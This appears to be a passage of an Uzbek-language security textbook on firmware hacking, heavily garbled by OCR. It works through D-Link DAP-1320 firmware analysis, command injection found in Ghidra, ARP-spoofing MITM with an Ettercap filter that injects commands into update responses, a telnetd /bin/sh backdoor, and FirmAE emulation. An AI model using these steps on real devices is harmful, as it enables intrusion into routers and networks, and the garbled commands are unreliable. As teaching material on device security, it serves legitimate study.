el6 init():can't add protocol"”
nist add protocol”

egrep.ethreg, farep, gp.;'o_
os checker, nvram, ping,

ni xususiyatlar. konfi-
ti keldi. 21.l—jadvalda
i elementlar kel-

ing tarkibi
. e itgach, uning |
ni C“‘qan]ﬁan tahlil gilish a4

Endi yangilanish to*plal hi kerak bo*lgan ba’z

u
" iJovalar uch
guratSiyalar yoki noma l“fn- Il?ja tekshirilis
1fshbu tahlilni amalga oshiris

Urilgay  bir versiya-

ing topilgan ha

. ptbxonan ~qifliklar uchun
i i Af AH“!‘ 3 ".If\.”fu”' Zai
4 b - ayl YORU % . i kerak. M@
Estatma! Buajariladigd” '(.-n-u !c'r’f-""””h'\m ;\ y number=
- ma 'l ‘uf,-"-"f/{.fn’r" uchin © = Ji < name-"’ versiol
: 3 T
' /u.rh'h”

"00gle gidipvidan foyda




21. 1-jadval. sete conf.d auth.conf
Fayl tizimi ete conf.d dirlisting.conf
etc/conf.d graph_auth.conf

Magsad Bash b“.\'ruqlariga misollar et conf.d access_log.conf
' Lete modules.conf
Bajariladigan fayllarni topish find . -type f-perm /u+x ete host.conf
(Eslatma: BusyBox bo‘lmagan fayllar). <eterresohvconf
O ciclightpd base.conf
Kelajakdagi tahlil uchun katalog tuzilishini find . ~type d S cat et lighupd base.conf B B B R R
amqlash HHHHBR g H s B HB B E R R E SRR AR R R r R TR AT

HY foterl; }; J;, .!J”)f N . ;
4o tlf'c.z'-'!f conf for the configuration of modiles.

Veb-serverlarni yoki tegishli texnologiyalarni | find . -type f-perm /u+x -name “*httpd*™ -0 ## check rete lighupd/con bR SRR R R R R R AR R AR
topish. -name “*cgi*" -0 -name “*noinyx*" REEBR Hdiu bR HBARRY sl it ol
“truncated
Kutubxona versiyalarini topish. for i in *find . -type d -name lib":do find 77 Load the modules.
$i -type f:done Oinclude "modules.conf”
“truncated=
HTML, JavaScript, CGI fayllari va konfigu- find . —name ** pym*= 0 —name “* js” —o S cat ete: modules.conf
ratsiya fayllarini topish name “* ¢gi” —0 —name “* conf BHHA U U B84 s 5 U R
e =R F#Modulestoload
Bajariladigan versiyani topish (masalan. light- strings sbin/lighttpd | grep lighttpd <truncated>

tpd bilan).

~ - - "
Oinclude "conf.d’'egi.conf

te/conf-d/cgl. conf

“eat e IR B R et s
rootiakali:~/DAP-1320/fmk/roolfs i”“'..ﬂ,.a,_:# UEHHHHHHR AR AR RAR RS
Huyy 444 41 34 4 -'--::::':-‘F::.'_-"i;.‘:':'#ﬁ?;'{;l##"':""ﬂ"”".I. N
llova ma’lumotlari topl d . Dl
¥ . £ = - 5 44
. : Tiokar g 0 P angan' an S_O ng, olingan ma lumotlar asosida ganday S ‘ rm,_,,m,,;m;*‘g-gr’.hm-’-’
Jgr&}ajyon ar amalga oshirilayotgani yoki qgaysi xizmatlar ishlayotganligini tushu- it htp:s avwew, lightipd. net/doc
nish mumkin. Oldindan i i ‘vicha ha’~; Bt ooy ##
o Oa:]a;;l?xc;]sh!ov berish bo‘yicha ba’zi gqadamlar bajarilganligi sa- ek o il o)
3 / : L : s . servermodules += — € T
rildi, Konfi Y : | am' va tushunarli qilish uchun quyidagi misol qisqarti- it thrrr‘;f’:‘;ﬂ(;‘l handling ‘ pinfo = 11 the php.ini.
(o oateuratsiya uchun lighttpd*.conf @ va modules.conf © foydalanadigan # For PHP don't forget 10 s¢f ¢G/W P
hghttpdd:; veb-serverda ishlayotganligi aniglandi. Keyingi tahlillar, masalan /Elc/ i :
asswd @, tekshiruvi, bj iarilad; 3 ‘ : R o g ;
P ) 2 - blna.lr bajaﬂladlgan fayl bo lgan /bin/sh © bilan bog*liq po- C8i.assign={( s
tensial zaifliklarni aniqladji. S O hymr=>"/bin/ssi"
" / : L
Public. js"=>" b.’,},‘r” 5
S find . -{1p¢jf—perm U+x -name "*Nipd*" o | "xmlv=>v"/bin/ssi co=>"/bin/s h™
-name "*cgi*" -0 -name "Enginy* "Save co nfigure.¢ gIJ he
‘(‘”‘"ﬂca{e({‘ﬁr)r brevi{v} " h na .D_ cg jfl=">2 nsbhind ‘f :l ;r
Q./shin/lightipd iy ) apin=>"/bin/sh"
o r069.cgi”"=> e
,.fsbm/hghﬂpd-cmgej " ovi d iy ({’g in=> wihin/s h "y
‘feﬁc/cof?ﬂgﬁcgf_ca;!f "v c Q: " :-) "ihin /55 i li: :!
Jbin/cgi "k ml"=="/bin/sst
8 find . -name * conf "ottt sviypin/sst”
@.erclighttpd. conf B ' ifli
.con ‘lindi iflik-
Jetc/conf.dimime.conf ) yurga ega bo‘lindi va za
etc/confdiegi.conf davom etishi hagida tasaV
-"erc/canfd—awh base.conf Endi jara anda}’ e
i . base.con : yon ( i
elc/conf d expire.conf larnl tahlj] qilish boshlaﬂlladl‘

117
! ! 116




Laboratoriya ishi 21.2: Zaiflik tahlilini amalga oshirish

Ushbu bosgichda zaifliklarni tahlil gilish avvalgi boblarda o°rganilganidan
unchalik farq qilmaydi. Buyruqlar in"ektsiyasi. format satridagi zaifliklar, bu-
fer toshib ketishi. bo*shatilgandan keyin foydalanish (use-after-free) va shu kabi
boshga ko*plab zaifliklarni aniglash mumkin. Bunday holda. bajariladigan fayl-
larda buyruq inyektsiyasi turidagi zaifliklarni qidirish texnikasi qo-llaniladi. /bin/
sh binar bo*lgani uchun %s (qator uchun) dan foydalanadigan satrlar formati tek-
shiriladi va keyin chiqishni /dev/null ga yo'naltiriladi (demak, bu holatda chigish
ahamiyatsizdir). Ushbu shablon samarali, chunki y buyrugni bajarishga imkon
beradigan potensial use-after-free zaifliklari bilan buy
funksiyasini korsatishi mumkin. Masalan, ma’lum bir fayIni ko*rish buyrug*i qu-
yidagicha ifodalanishi mumkin:

sprintfiemd, "ping -q —c¢ 1 %s > /dev/null “variable)

21.1-laboratoriya ishida squashfs-root zaifligini aniglash bo*yicha ishlar da-
vom ettirilib. ssi binar fayl tahlil qilinadi, Agar zaiflik buzg*unchi tomonidan aniq-
lansa va tozalanmasa hamda cmd skript ichidagi buyrugni bajarish uchun ishlatil-

sa. buzg‘un(fhi 0°z buyrug*ini mo‘ljallangan buyruqqa kiritishi mumkin. Bunday
holda, fayIni yuklab olish uchun ikkita zaiflik paydo bo‘ladi:

OS5 strings bin/ssi | 8rep "%s" | grep "/dev/null"
wgel -P /tmp/ %s > /dev/null
wget %s -0 %s >/devinull &

Eslatma! Fovdalanish qulavligi uchun SS

) "oydalc ! hinen favli v oldingi huvrug ham
21.2-laboratoriva m’mh.f_,r'm.'fc.r.\'h;;:u?. |

~ Ushbu ikkita qator bilan qurollangan holda, qiymatdan foydalanish mumkin-
ligini aqu.aSh uc.hun binar fayllarni teskari ishlab chiqish boshlaniladi, Buning
» chunki u bepul va 4-bobda tasvirlangan. Binar

fayllarni loyihani qayta ishlab chigish va tahlil gilish bo*yicha ko*rsatmalar uchun
4-bobga qarash mumkin,

Ghidra tahlilining asosiy magsadi zaiflikdan buz
bo-llgan tarzda foydalal?ilganﬁgini aniqlashdir. Ghidra’da binar faylni ochib, loyi-
haning MIPS-ga 0"rnatilganligiga ishonch hosi] qilib, quyidagi amallar bajaﬁladii

1. Qator bilan bog‘liq Xususiyat yoki kodni topish.

2. Qator ganday ishlatilishin; aniqlash.

3. URL qayerdan kelgan
ganmi),

g unchi foydalanishi mumkin

ini aniqlsh (kodlangan yoki boshqa manbadan olin-

ll?i}

ruqni bajaradigan sprintf

Matnni gidirish ekranini bu yerda ko‘rsatilgandek ochish uchun “Qidirish

i iriladi eyin
“Satrlar uchun™ menyusiga o‘tiladi. Standart sozlamalar qoldiriladi va ke

“Qidirish™ tugmasi bosiladi:

S Search For Strings

(V] Require Null Termination pinimum Length: 5

Pascal Stnngs alignment: 1

word Model: stringModel.sng | e

i e
Memory Block Types selection Scop

! rch all
® Loaded Blocks (@) Sea

all Blocks

| search | | Cancel
|2 Sesgny

s gritadi (W |didagi bo‘sh joyga e’ti-
wwoet” gidiriladi (wget 0 gl g
weel oqs buyrug'i @ bilan topilgan lkklt'a gatc!rj
g ining f;qat ikkita ko‘rinishi topildi: biri
havolasida.

Qidiruv tugagandan so'ng. “Wo*
bor qaratilishi lozim) va fayldagi Strings
Ni ko'rish mumkin. Demak, “wget SO trining
Shell kod satrida. ikkinchisi Shell kod satriniis

String Sesrch [CodeBrowner: qu]mhu]
sering View e
el B tmpd WA > Joenull® s T
L "Get the wgel ‘1,-_r_-_’-'.- - L snng true
o I : wget ag -0 W >/OEV rdll " e
- dei i
ERTFY) _,\1.-.-1‘ ds ‘v 15 - \:) hy I ol
o L+ 0N
" ds v
3 ‘_.'-,Iln =,
_._'_._'_._._'_'__— it A 22 . ?
:F'"e: = =
Freviaw:
oAkl offset: 0
L Inclyde Abgnment Nulls 2 oy
- __.——._________________-—-—-———-—“
Lo Wurcale of Needed
________._._-—-—-—________._.-—---"‘_-—-—- ——
Eﬂ::‘::‘_——"_— =




Aniglangan o°n oltilik giymatlarni ikki ; i an so* “shi
gan giymatga mos keladigan disassemblel}':llaIr?iarr::fy‘llfzlw.(lsoh'c:rc%‘atl'ﬂ]ld‘:jl'1 blg "’.‘—3~ i S‘hl]-
sida 00428458 giymatini topish uchun Ctr[-ShhiI'l- o For e s
OO40?OIO ni ikki marta tekshiriladi. Endi matnda
kodr?: va o'ng panelda ajratilgan kodning deko
ko‘r!sh mumkin. Pastga harakat qilinganda
rug®ini yaratish uchun chiziq ishlatiladi.
uzatiladi. |

F tugmalari bosiladi va oynada
ko'rsatilgan manzilda ajratilgan
mpilyatsiya qilingan versiyasini
; sprintf funksiyasida yuklash buy-
keyin u quyida ko‘rsatilgandek tizimga

Justng: sm .
WL B 4 S = X | 5y Decompie: FUN_ 00408130 - (gui)

o

wFTETL & e
et B teps Ay » P ¥

R AR o PR

v
- ¥
: 1
= s
1 pemm ey p—
H

Shu nuqtada, satr tizj ‘noti o
berildi. Bu gerdah b:;:z;zg?r?d(;;gdg}f q’]‘(sih uchun ishlatilishi hagida ma’lumot
Bu dasturning b - qanday taqdim etilishini ot 1o
; g boshqaruv oqimini URL ishlatiladigan nuqtagalrc!)llitl];lsi?:rlzllbiikf;ilkl;
sh

Sl{bf?UtiHEfonCtiOI] ni kiritish, bosh
yuqori gismiga o‘tiladi va matndagi ma
shirilgandan so‘ng, shunchaki by yerda
uchun Ctrl-Shift-F bosiladi.

qaruv oqimini olish uchuy; iyani
: 1 funksiyaning
rliz:! (OQ4OSBO) tekshiriladi. Manzil tek-
o'rsatilgandek ma’lumotnomani topish

G . @ -I- x| GDecompile: FUN 00408130 - (

addr ‘J.‘.'.'E-‘ii_".-ﬁ
-,'ra.;:ﬂ_'[ﬁ"f_fﬁ-if‘ﬂ.‘ﬂlﬂ

— Usting: ss1

T
3
]
e,
3
a
o
a
=
o
o
I 5
5
o
7
W
&

adar

M ar 12&]
ddr FUN_00406730 . . {20}
yddr 5_1Pi6 FyncTion_00430e34 | ’ ) .
sar " dawnload_fu_lp_ 00428538 1f (lparan_l == 1) |1 §
S N 3 = fopeni
=4
dr FUN_ . f ek Moo
3 & Pownload_Pa_and_languags f ( s (FILE ')
e "o _'p'-:OJI-“:a: tfputs | ne.
0 felose(
}
= fopeni
if = (FILE *)
fputsi® tdoenl i
el — fclosel
- R
cpeni
1 = | =

Location

jadvalida aniq joylashgan

qidiruv ! !
a ko ‘rsatkichlari saglanadi. Kod
digan jarayonga o‘tadi. Man-
“FW va tilni yuklab olish™ va
tibor berish joizki, buyruglar
ida joylashgan. Jadval qidiruv

I uchun havola
hun funksty
1zil ko"rsata

Yuklash tartibiga o°tis
bo*lib, y yerda har bir buyruq uc
buyruqqa ishora giladi va goshnt Mane .- ..
leﬂing yuqorisida va paslida ~[Pv6 flll‘lI\SI',\faS E
“gE:l__\\-'an i bu}'rquIal'il1i ko'rish muml-.m.t -
_rl"lksiya nomi. ko rsatkichi va uzun nom w]s L
Jadvalj bo*Iganligi sababli. o-tish havolasi! har
Jadvalning boshini topish
Manzil; o*tish jadvalining aSOSi' E
Jadva[iga havola gilingan kodni t'o
Malari bosiladi (masalan. ssi_cgl_

i
bir yozuv bilan bog‘lash uchun

rica siljitish orgali 004466d8
umKin. Quyidagi kabi o*tish
anzildagi Ctrl-Shift-F tug-

Jozim. Qahifani yuqo
Kkanligini
pisl
tool_main).

ko‘rish mu
, uchun ushbum




Joatbny o =
. @ n :
X | W Basampde sty _soel man - 14s

Tizim chaqiruvinin i
A g kelib chiqishi to‘]j
riy ta'minotni yuklaydi ; I to°liq kuzatilinmag ‘
kin. “download fw i :gan B buyrug‘iga ishora giladi dilzml !30 lsa-da: s
chigishni ta‘min_]ayai ;é)eqatSrLEChUﬂ rootfs dagi ba’zi greps I;ISObgai P e
: - ; - Ushbu bosqi : uyruglari i
qurilmani ishlatishga harakat qiIin.zu;)isql(:hd&l dasturiy 13’minotn?}’a?lgirllagﬁ)lf':i:l?

gS grep -r download fiv _Ip
Swww/ Firmware. cing
SAtm<input type="hj '
Soihies "ot A .-’p">P vpe="hidden" id= “action” name="
. . . { ="action"
g:;ra;} Jile /bin/ssi matches "
grep -C 7 dow
i ,f_od: o 0131 i?loadﬂﬁv_lp www/Firmware hy
6 rm3" name="form3" method "P.OSN
ut type="hidden" id= . i
= P den" id="html_response ol
we="Firmware.htm"> B TR e
<in, ="hi
{mpui bype="hidden" name="himl respoy
— -y 3
pul E):pe- hidden" id="html res St ol
WA i fh _response_message"

<input type="hi S
P {}}P - ',i:{ddef;:r id="file_link" name="%lp 1;
: lype= hidden" id= "ﬁfe name" ﬁ e_hﬂf(" value=""~
<input type="hidden" i JUE_Name ™ name= ’ﬁfe B
A lidden" id= "N,Udate ane ", _Rame" value=""-
L] wame="

O<input type="hi
pe="hidden" id=",0¢i ="update type"
</form=> action” name="action" v, ;?,;,vpi ! value="">
="download  fiw Ip"
i

apply.cgi”>
! _response _page”

R T
value="Firmware. htm">

name="
me="html_response message"

Qu!'il'malarni apparat dar
tah.h.l Jarayoni tugallangan
N tizimni emulyatsiya orqal

aizsida di_namik tahlil gilish
iqc Hz:.;nlagm qo‘llashni o‘z ichiga oladi.
S, balki apparatda faol ishtirokchi

sifatida korriladi. Qurilmadan global tarmoqqa teskari muhandislik so‘rovlari-
bt bajarish uchun muhit yaratilishi. dap-1320 ni tarmog‘iga ulanishi va dasturiy
li_i minotni yangilash tartibini boshlash kerak. Yakuniy magsad-buyruq inyektsiya-
si yordamida qurilmaning qandaydir - chlashini amalga oshirish.

Test muhitini sozlash

Sinov muhiti 64bitli Kali Linux 2021.1 tizimi, Ettercap. 1.11 dasturiy ta’mi-
notiga ega DHP-1320 qurilmasi va mahalliy tarmogni 0°Z ichiga oladi. Magsad
b Kali Linux tizimi orqali qurilmaga vd undan trafikni yo*naltirish uchun ARP fi-
ribgarligidan foydalanish. Qurilmani to*g ridan-t0° g'ri kengaytirilgan va mabhalliy
larmogq o'nasidé joylashtirish mumkin bo*lsa-da. ARP Spoofing tekshinsl} va o:z-
€artirish uchun yanada samarali usul bo*lib xizmat giladi. Bunda ARP firibgarligi

ahlilda ishlatiladigan asosiy hujum mexanizmi bo ladi.

Ettercap T
ifatida manzilni aniglash protokolini (ARP) al-

Mashtirish [P manzilni tegishli Media Access Control (MAC) manziliga mos-

lashtirish yehun ishiatiladi. MAC manzili-bu tarmod qurilmasi }shlab chigaruv-
Chisi tomonidan tayinlangan noyob idenlifikatordlr. Asosan. qu'nlma 1air|?10qdag1
oshqa qurilma bile'm " oo.:lanishi kerak po‘lganda. U [P manzil bilan bog lig MAC

manj'\i]i"i aniglash uchun ARP-dan ﬁ:}}’dale}nad; N——

RP Shoofi . oyrilmalarning y

oofing ma sadli qu : ¢ . Ce :

(1_3 manipulﬁatsiyah qqui va ularni magsadli qurilmaning haqlql?bMA(_Zl 1(';1‘31131

| O'riga l31122‘11ncl]iﬂinn MAC manzilidan foydalan@h%a 1113}11 .L{[‘!ql‘a k] Bu
. 2 ) b

u.cg~unchiua Tarmoq n-aﬁgini ushlab qohsh va potensmo zgartirish 1mkonini

berag; rtadagi odam (MITM) hujumlarini
i. Shunday qilib. ARP SPOOﬁ“g'bu 0 g : steoalar o rtasid
Alga OShirish)niﬂg eng muhim usuli bo*libs buzlg1 ‘Lmiziﬁiiqblz ;:(?ia ar o‘rtasida
Paketlary; ushlab q0|iS]]?0 e '

‘paltiris
< oartirish va y0 nasias - : )
Eller(:ap_bu ARP 11r1bga}1igini va IT™ !'lu:llll'l‘l]al‘llkab.l :z?;li‘rcil:ht?::\?c?‘ :a:
Mmlarin; osonlashtiradigan yosita. Bu paketlarn! ushlash, 0 28 buyruani aritish
Itish imkoni HSHLESe hlash uchun ettercap-dan qu)’_ldagl uyruq IS
onini beradi. Bosh - ARP (rafigini kuzatish uchun foydalaniladi

0 . .
(f'qah qurilma va Internet o rtasidag! 173 va shlyuz 192.168.1.1 bo‘lsa):
Masalap, agar qurilmada [P manzil 193-2 ?2811 1731/ 1192 168.1.1//
3 etter .--note“ . il ; .' . ‘
Ettet:cl: ; F:1_T i_q ‘tlzll?ilr[;:dan s0°ng, qurilma bll:n c;/ Z'amhalliq;:??szz;%j:l’?ia
-ni ishga : ; ‘|laniladi. Wireshat® 2 i
Rp trafigini ko*rish uchun Wwireshar k-dan q© o‘rsatilganidek, quril-

y ‘ ida k
;ngg{ndan va suratga olishni poshlanganda? B ish mumkin.
ani yangijlash sahifasida pmshi\f'ka yan

Tarmoq hujumi mexanizmi

samarali ravish-

!ilanishini tekshir

I~
fad

M TN el
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Yangi dasturiy ta’minotni tekshiri bo dasturiy
N turly ; Ish tugmachas; iladi (yangi '
ta'minot tekshiriladi) va keyin Wireshark-dagi rce ocl:limislilzziliérbn ,'I] di S::::ﬁ

oriladi. E

urilmani ishi ko‘ri ‘e
gry-a:;iﬁr;%efgxill ;(zoonixCh[I)qlf]‘ad]I hnp:ﬁWipd'dC”“k-Comf’your/ﬁrmware/qu'
. . o-UAX_Delault. javob yorlie*i quvi SR i
tilma ma’lumotlarining XML kodlanishinj ko‘rsalagigaqnui}‘lis;ak;z:::;gﬁ?Eﬁzil(z;)?dui

ream
G5/ outer/iirmware query.asp’model=DaP. 1390
o dnd. et ipeidiio 1320 _Ax Defaule Mrre 1.1

n: Keep-alive

HTTP/1.1 200 oK

Date: Fri, 03 Jan 2014 00:21:15 r
Server: H‘.cr:.',cft-lls"s.c-'m‘m i
X-Powered-By: ASP.NET

Content-Length: S68

Content-Type: text/xml: Charset=UTE.8

Set-Cookim: QS-D'SES(JICQ'J'ID":STC A = ng;V]'H“ﬂu”

- > SCSa=)1F

ache-control: private Gl !ﬁ:’.”]}‘ th=
+ path=ys

<?¥ml version=*1.0" enc
e i eh-:d].hg:'u_';:_ﬁ. standalona=* g 3
="yes =

Olingan URL manzilj ¢
versiyasi raqamlari, yﬂiizfaoﬁsﬂb};a?‘n?f‘ L-da asosiy va kichik dasturiy ta’minot
mumkin. UM1 va nashr yozuylar mavjudligini ko‘rish

turiy ta’minotni ma’lum bir buyrugqga o
nishga harakat gilishini va shunga mos rav
kin deya taxmin qilinadi. Us

“Fa.roware™
nitp:/ /d9ghdodE fennk.cloudirent et /DAR- 1320/Ax/Default/0L1L/DAPLI20A2_FWillBl0.bin

WAL
HO . 0anC hato>
httpi/furpd.dlink.com/

QaRe Nona>

router/firmwara/CotRoleaseNote. aspximodol~DAP-1320 Ax Befaule Fw 0111
uai”r
nicad Site>

“IUAP-LddY AXY e

Ushbu ma’lumot bilan qurollangan holda. agar kichik ragamni 12 ga va das-
“zgartirilsa, qurilma qanday qilib yangila-
ishda buyruq bajarilishini ko*rish mum-

hbu vazifani bajarish uchun:

I. Ettercap skripti tayyorlanadi (ilgari saqlangan va bu yerda ko‘rsatilgan).

2. Uni mavjud o“rnatish bilan taqq'o'slan.adi
3. Skriptni quyidagicha ishga tushiriladi:

OS5 cat ettercap filter ,
if tip.proto == TCP && [cp.SI€ == S(i) {
msg("Processing Minor Response... "):
if (search(DATA.data, "<Minor>11")) {

replace("<Minor>11". "< Minor=12");
msg("=apped Minor version!'\n");

¢

i = 80) l‘

if (ip.proto == TCP && tep.sr¢ = .
msg("Processing Firmware Response... n");
if (search(DATA.data, "hitp://d"))

!
!

replace("htp:/d", ""rebool )
msg("zapped firmware!\n");

}
} -
S cerfilter ettercap-reboot filte!
<output omitted for brevity= N
130 Lﬁgrrap -T qf -F ettercap-reboot. ef -M arp:remote
/192.168.1.173///192.168.1.17

<output omitted for brevity=

-0 ettercap-reboot.ef




sl Lty Y

. hjsmg?mng 1shla¥0tganligini.aniqlash uchun qurilma Ping qilinadi va yangila-
nis| 95 gngax}da Pln'g_xabarlart kuzatiladi. Shuni esda tutish lozimki. yangi das-
turly ta'minotni tekshirish tugmachasini bosgandan so*ng. dasturiy "mino

I.12 versiyasini yuklab olish mumkinligini ko‘rish kerak e

D-Link

Upgrade

.

Firmware Information

Upgrade Manually

- ST

Dasturiy ta’mi - .
Y 1a minotni yangilash tugmachasinj bosishdan oldin qurilmani kuza-

tish uchun pingni sozlash kerak. Fi
y : . Flrmware-ni H
quyidagi yuklab olish jarayonini ko‘rish mrimn:(i?ngllam tugmachasi bosilganda.

4]
€ase do not close the browser

while the firmware i3 being

downloaded!

Sping 192.168.1.173

64 bytes from 192.168.1.173: icmp_seq=36 ttl=64 time=2.07 ms
64 bytes from 192.168.1.173: icmp_seq=37 tt1=64 time=2.20 ms
64 bytes from 192.168.0.63: icmp_seq=38 1tI=64 time=3.00 ms
©From 192.168.1.173 icmp_seq=110 Destination Host Unreachable
From 192.168.1.173 icmp_seq=111 Destination Host Unreachable
From 192.168.1.173 icmp_seq=112 Destination Host Unreachable
From 192.168.1.173 icmp_seq=113 Destination Host Unreachable
From 192.168.1.173 icmp_seq=114 Destination Host Unreachable
From 192.168.1.173 icmp_seq=115 Destination Host Unreachable
From 192.168.1.173 icmp_seq=116 Destination Host Unreachable

From 192.168.1.173 icmp_seq=117 Destination Host Unreachable

From 192.168.1.173 icmp_seq=118 Destination Host Unreachable

From 192.168.1.173 icmp_seq=119 Destination Hos! Unreachable

From 192.168.1.173 icmp_seq=120 Destination Host Unreachable
From 192.168.1.173 icmp_seq=121 Destination Host Unreachable
@64 bytes from 192.168.1.173: icmp_seq=122 ttI=64 time=1262 ms
64 bytes from 192.168.1.173: icmp_seq= 123 11i=64 time=239 ms
64 bytes from 192.168.1.173: icmp_seq=124 t1=64 time=2.00 ms

nini ko*rish @va bir nechta xatolarni keltirib
ta ishga tushirilganligini anglatadi. Ushbu
yruq kiritish mumkinligini va qurilma

Qurilma javob berishni to"xtatga
chiqarishi mumkin @ Bu qurilma qay
bosqichda yangilanish URL manziliga bu
uni bajarganligini ko*rish mumkin.

telnetd 1 /binvsh

uklab olgandan so'ng. qurilmada nima paydo
yuqorida aytib o*tilganidek, agar bajarila'di-
(yoki u qurilma tizimida bo‘lmasa). quyida
sh uchun tegishli parolni kiritish lozim:

Bajariladigan faylni qurilmagay
bo*lishini ko*rish so‘raladi. Masalan.
gan fayl BusyBox-da siqilgan bo‘lsa (yo!
ko*rsatilganidek. bajariladigan faylga kirl

Qurilmalarni emulyatsiya yordamida dinamik

tahlil gilish

klarni tahlil qilish va dasturiy ta'minotdan foydalanish

Ba'zi hollarda zaifli
uchun qo*lda apparat bolishi shart emas.

FirmAeE

FirmAE3 vositasi FlRMADYNE4—ning imkoniyat

csa turl xil QEMU emulyatsiyasi ¥a gipervisor d9S6CE R By o laming
da ko*proq dasturiy ta’minotni taqlid qilishga 1_mI-:'on ekin‘bo‘lgan g
Magsadi umumiy hujum vektori sifatida ishlatlisht FPEe o 2 hindaki, o'r-
larning ishlashini ta’minlashdir. Ushbu yondashuvm:rg;t o Slish ahat B
Natilgan dasturiy ta’minotni sinab ko‘rish uchun apP

larini kengaytiradi, bu
dan foydalangan hol-

127
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Ushbu kuchli yondashuv paralle] avtomatlashtirilgan testlarni o'tkazishga imkon
beradi. Firmae muallifiarining xabar berishicha, muvafTaqiyat darajasi 1124 ta qu-
rilmada 79,36% ni tashkil etgan va 12 ta yangi 0 kun aniglangan. bu uning zaiflik-

larni aniglashda samaradorligini isbotlaydi. Keyingi laboratoriya ishlarida firmae
sozlanadi va ishga tushiriladi.

Laboratoriya ishi 21.3: FirmAE ni sozlash

Agar laboratoriyada ishlashni davom ettirish lozim bo*lsa, VMware yoki Vir-
tualBox-da ishlaydigan katto 2021-1-dan nat tarmoq sozlamalaridan foydalaniladi.
Birinchidan, Github-da proshivka bilan opilgan ko*rsatmalar yordamida format-
lash vositasini sozlash kerak (Github-dagi firmae sahifasining oxiridagi batafsil
ko*rsatmalar bo‘limida keltirilgan). O*rnatish bosgichlari asosan FIRMADYNE
bilan bir xil va faqat uchta paketni o'rnatishni talab giladi: build-essential, libncur-
ses5-dev va git. ular standart paketlarni boshqarish tizimidan tashqarida o"rnati-
lishi kerak. O*rnatish bo*yicha ko*rsatmalar Paketning orqa tomonida mavjud. bu

yerda bar?ner_ 21.1--la?orat0riyasidan O'rnatish konfiguratsivasi tugallanuanligi"i
ko‘rsatadi. O*rnatish jarayoni quyida tavsiflangan; : g

$ sudo apt-get install build-essential git telnet
<oulput skipped throughout this Jah Jor brevigy>

S git clone —recursive hups VIgithub.com/pry 3y
' . 3rbs/Fiy
Scd FirmAE P S/FirmdE

8 /download sh

Downloading binaries...

<output skipped throughout this lab for brevity=>
S Jinstall sh

<oulput skipped throughout (his
S Jinit.sh

+ sudo service posigresgl restart
+ echo 'Waiting for DB o Start...’
Waiting for DB to start...

+ sleep 5

lab for brevigy>

_ Laboratoriya ishi 21.4:
Firmware emulyatsiyagipj amalga oshirish

Muhit o*rnatilgandan $0°ng, proshivk
M : d55 W ‘1 (mar-
kali GitHub-da tasvirlanganidek), Amunasini taqlid qilish mumkin (m

i tB’lm']Chtld'alt(L Skl:li'pt yordgmic{ 1-Sh. GitHub sahifasida ko*rsatilgan dastu-
chicarite  cerakli dasturiy ta’minog gy tekshiriladi. Ushbu bosqichda rasm
chlganladn, teglshl} w;sutal.ar olinadi, tarmoq sog] anad{ va tahlil qilish uchun
ma lur_notlarbazasada1dent1ﬁkatortayinlanadi (ii.aad ’b' ahlil g 1ab qilishi
mumkin).: Jadam biroz vaqt talab q

jalaridan yadro ® mavjudligini ko‘rish

S sudo -E /run.sh -c netgear WNA P3J()_F. :'mnrm'eﬁ_ I-'iersi(JJ.in_’r. 0.3.zip
[*] WNAP320_Firmware_Version_2.0.3.zip emulation start!!!
[*] extract done!!!
[*] get architecture done!!!
mke2fs 1.44.1 (24-Mar-2018)
e2fsck 1.44.1 (24-Mar-2018)
[*] infer nenwork start!!!
[1ID] 3 ;
MODE] check
; / .’:ij{rnrk reachable on 192.168.0.100!
[+] Web service on 192.168.0.100
[*] cleanup

: : sivani disk ras-
Endi IP manzil hagida xabardor bo-lingandan so‘ng, emu}gatsl} al et
=n ans 3 T ; emu
kadrovka vogilean holda ishga tushiriladi. shunda gdb }orf:lam! daasmri ? =
4 O C ! & = é -
0" zaro l](‘;qdj'l bo*lish mumkin. Bunday holatlarda o*rnatilgan y
th ¢ dadd

i ; o°riladi®. BusyBox nati-
iriladi ‘Box d bo‘lgan narsalar ko'riladi® | .
B e e I va buyruglarni kiritish orqali dasturlarni

ishga tushirish mumkin:

irnnvare Version 2.0.3.zip

. WNAP320 Firmware_Version_2.

Pt iy -’a‘i’fgﬂ; } !:::'.:‘! P"jﬂ jr'."p emulation start!!!
3 i Qe ars 0.2

[*] WNAP320_Firmware_
[*] extract done!!! ”
l:j‘ Qi’;f;’;?fgl'}f;f;:::i‘ Version 2.0.3.zip already succeed emulatior
[*] WNAP320_F L _
[/1ID] 3
[MODE] debug o0
[+ ] Network reachable on 1 92.168.0.

[+] Web service on 192.168.0. 100
[+] Run debug!

“reati ice tap3_0...

Creating TAP device tap3_| »

'Jr.t: (':z:‘:;; (' persistent and owned by uid 0 n
l _ 7.36351521518.767963507
Eringg o L dm;;?:”nmm 192.168.0.100 true true 17.36351521518.76796
Starting emulation of JIrmyere::

[*] firmware - WNAP320_Firmware_
[*] 1P~ 192.168.0.100 I
[*] connecting to netcat (1 92.168.0.

[+] neteat connected

| FirmAE Debugger |

101}

Version 2.0.3

1. connect o socat
2. connect to shell
3. tepdump

4. run gdbserver
5. file transfer

‘IEU




~

6. exit

L1 B

Trying 192.168.0.100...

Connected to 192.168.0. 100,

Escape character is ™)'

/#ed bin

@/bin # busybox

BusyBox v1.11.0 (2011-06-23 15-54-48 IST) mudlti-

Copyright (C) 1998-2008 Erik A ndersen, Rob Lan,
under GPLv2.

See source distribution for full notice.

Usage: busybox [function] [arguments]...

or: function [arguments]...

BusyBox is a multi-call binary that combines many common Unix wtilities into a single exe-
cutable. Most people will create a link 1o busybox for each function they wish 1o use and BusvBox
will act like whatever it was invoked gs! ' ’ ’

Currently defined functions:

[. l[. addgroup, adduser; ar. arp, arping, ash, awk, basenq me, bunzip2, bzcat, b=ip2, cat. carv.
cf_ig:a;p.. chmod, chown, c-hroo{. cksum, clear P, Cp.crond, crontab, cut, date dd, delgroup. d.
diff, dirname, dmesg, dos2unix, du, dumpleases, echo, egrep,emy, oxny Sl Id. free.

-~ il ' CATEP.ENY, expr, false, fgrep, find, fold,.
Sreeramdisk, fipget, fipput, Juser.getopr, getty, ; i :

87ep, gunzip, gzip, halt he : tname.
Vi ; ; : e : \ 8Zip, v head, hexdump, hostic
id, ifeonfig, ifdown, i up, inetd,init, insmod, i0: dpciam, ¢ ad, hexdumy

iperm, ipes, kill. ki Nalls blno ot leneth.
less,limuxre, In, logger, login, logname, logreaq pes, Kill killall killatls, Klogd, last. Jeng

| losetup, s, | s . dir mkfifo.
